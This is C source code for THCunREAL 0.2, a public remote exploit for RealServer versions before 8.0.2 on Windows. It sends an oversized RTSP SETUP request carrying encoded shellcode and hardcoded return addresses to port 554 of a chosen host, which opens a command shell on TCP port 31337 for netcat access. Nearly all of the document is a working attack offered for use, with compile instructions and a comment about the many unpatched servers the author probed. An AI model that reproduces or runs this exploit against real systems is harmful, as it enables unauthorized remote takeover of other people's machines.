* Version TXT Disponible ici *

/*************************************************************/
                              /* THCunREAL 0.2 - Wind0wZ remote root exploit                                    */
                              /* Exploit by: Johnny Cyberpunk )        */
                              /* THC PUBLIC SOURCE MATERIALS                                                       */
                              /*                                                                                                      */
                              /*                                                                                                      */
                              /* This is the much more reliable version of the Realserver < 8.0.2 exploit */
                              /* Tested with different OSes and Realserver Versions                              */
                              /*                                                                                                      */
                              /* While probing lot's of boxes via 'OPTIONS / RTSP/1.0' on TCP port 554  */
                              /* i noticed that 99% of the probed machines are not up2date yet ! =;O)   */
                              /*                                                                                                      */
                              /* The shellcode is much shorter than the one in version 0.1 now and of    */
                              /* course offsetless ! The encoder in front of the exploit is needed coz the */
                              /* shellcode has next to 0x00,0x0d,0x0a also to be 0x20 and 0xff free !   */
                              /*                                                                                                      */
                              /* After successful exploitation  a commandshell should spawn on             */
                              /* TCP port 31337 ! Use netcat to connect to this port !                            */
                              /*                                                                                                      */
                              /* If there's no connectable port 31337, maybe it's blocked by a firewall !  */
                              /*                                                                                                      */
                              /* Unfortunately i hadn't a Linux/Sparc or whatever Platform Realserver 8   */
                              /* runs on. I just know it's also exploitable on other OSs !                        */
                              /* So if u wanna exploit other platforms, try to get Realserver 8 and use    */
                              /* gdb to find out, how this can be exploited ! Good luck !                        */
                              /*                                                                                                      */
                              /* compile with MS Visual C++ : cl THCunREAL.c /link ws2_32.lib                */
                              /*                                                                                                      */ 
                              /************************************************************/

                              #include 
                              #include 
                              #include 
                              #include 

                              char w32portshell[] =
                              "\x8b\xfa\x33\xc9\xb2\x35\x90\x90\x90\x66\x81\xc1\x38\x01\x83"
                              "\xc7\x1a\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\xde\x16\x4f\x5c"
                              "\x37\x30\x59\x6c\xcd\x28\xa9\xeb\xb9\xe4\x79\x45\xe1\x36\xc5"
                              "\x12\x15\x15\x05\x3d\x62\x66\x07\x6a\x06\x07\x1b\x71\x79\x79"
                              "\x34\xde\x30\xdd\xcc\xca\xca\xca\x68\xb6\xd8\x1f\x5f\x05\x6c"
                              "\x51\xbe\x34\xbe\x75\x39\xbe\x45\x29\x98\xbe\x4d\x3d\xb8\x6a"
                              "\x09\xbe\x2e\x34\xce\xbe\x6e\x4d\x34\xce\xbe\x7e\x29\x34\xcc"
                              "\xbe\x66\x11\x34\xcf\x66\x64\x67\xbe\x6e\x15\x34\xce\x04\xfc"
                              "\x74\x04\xf5\xac\xbe\x01\xbe\x34\xcb\x99\x04\xf7\xe4\xd7\xb1"
                              "\xf5\x40\xc2\x3a\x83\x70\x30\xb8\x71\x70\x31\x53\x0c\x25\x40"
                              "\xd4\x53\x04\x25\x6f\x6d\x6b\x63\x65\x67\x1e\x7b\x25\x74\x3a"
                              "\x82\x39\x7f\xbe\x31\xbd\x34\xcd\x3a\x83\x78\x30\xbc\x71\xb8"
                              "\xed\xcb\x78\x30\x40\x8b\xcb\x78\x31\x41\x14\xcb\x78\x17\xb8"
                              "\x68\x2d\x66\xca\xe5\xbc\xf2\x5f\x31\x6d\xbd\x70\x30\xb5\x70"
                              "\x42\x3f\xb8\x68\x41\xb5\x5e\x13\x21\xdc\x4d\xca\xca\xca\xbc"
                              "\xfb\x04\xee\x66\x66\x66\x66\x63\x73\x63\xca\xe5\xa2\x60\x6d"
                              "\x53\xbc\x05\x5f\x25\x60\x62\xca\x60\xe1\x7b\x63\x62\xca\x60"
                              "\xf9\x66\x60\x62\xca\x60\xe5\xa2\xb8\x70\xbd\x65\xca\x60\xd1"
                              "\x60\x60\xca\x60\xdd\xb8\x71\x30\x39\xa1\x66\x5d\x1b\x50\x4d"
                              "\x50\x5d\x69\x56\x58\x51\xa1\x04\xe7\xb8\x70\xf9\xa1\x62\x62"
                              "\x62\x66\x66\xcb\xf3\x34\xc7\x67\xa1\xb8\x70\x4d\x65\xb8\x70"
                              "\xbd\x65\x84\x3d\x66\x66\x5f\x25\xcb\xfb\x67\x66\x66\x66\x60"
                              "\xca\x60\xd9\x5f\xca\xca\x60\xd5";

                              void usage();

                              int main(int argc, char *argv[])
                              { 
                              unsigned short realport=554;
                              unsigned int sock,addr,i,rc;
                              unsigned char exploit_buffer[4132];
                              unsigned long retloc1,retloc2,retaddr;
                              struct sockaddr_in mytcp;
                              struct hostent * hp;
                              WSADATA wsaData;

                              printf("\nTHCunREAL v0.2 - Wind0wZ remote root sploit for Realserver < 8.0.2\n");
                              printf("by Johnny Cyberpunk ()\n");

                              if(argc<2)
                              usage();

                              retloc1 = 0x6235108c; 
                              retloc2 = 0x623514b6;
                              retaddr = 0x62354f5e;

                              memset(exploit_buffer,'Z',4131);
                              memcpy(exploit_buffer,"SETUP /",7);
                              *(unsigned long *)&exploit_buffer[4082] = retloc1;
                              *(unsigned long *)&exploit_buffer[4086] = retloc2;
                              memcpy(&exploit_buffer[7],w32portshell,strlen(w32portshell));
                              *(unsigned long *)&exploit_buffer[4090] = retaddr;
                              memcpy(&exploit_buffer[4094],"\x83\xc2\x19\x52\xc3",5);
                              memcpy(&exploit_buffer[4099]," RTSP/1.0\r\nTransport: THCr0x!\r\n\r\n",33);

                              if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
                              {
                              printf("WSAStartup failed !\n");
                              exit(-1);
                              }

                              hp = gethostbyname(argv[1]);

                              if (!hp){
                              addr = inet_addr(argv[1]);
                              }
                              if ((!hp) && (addr == INADDR_NONE) )
                              {
                              printf("Unable to resolve %s\n",argv[1]);
                              exit(-1);
                              }

                              sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
                              if (!sock)
                              { 
                              printf("socket() error...\n");
                              exit(-1);
                              }

                              if (hp != NULL)
                              memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
                              else
                              mytcp.sin_addr.s_addr = addr;

                              if (hp)
                              mytcp.sin_family = hp->h_addrtype;
                              else
                              mytcp.sin_family = AF_INET;

                              mytcp.sin_port=htons(realport);

                              rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
                              if(rc==0)
                              {
                              send(sock,exploit_buffer,4131,0);
                              printf("\nexploit send .... sleeping a while ....\n");
                              Sleep(1000);
                              printf("\nok ... now try to connect to port 31337 via netcat !\n");
                              }
                              else
                              printf("can't connect to realserver port!\n");

                              shutdown(sock,1);
                              closesocket(sock);
                              exit(0);
                              }

                              void usage()
                              {
                              printf("\nUsage: \n");
                              exit(0);
                              }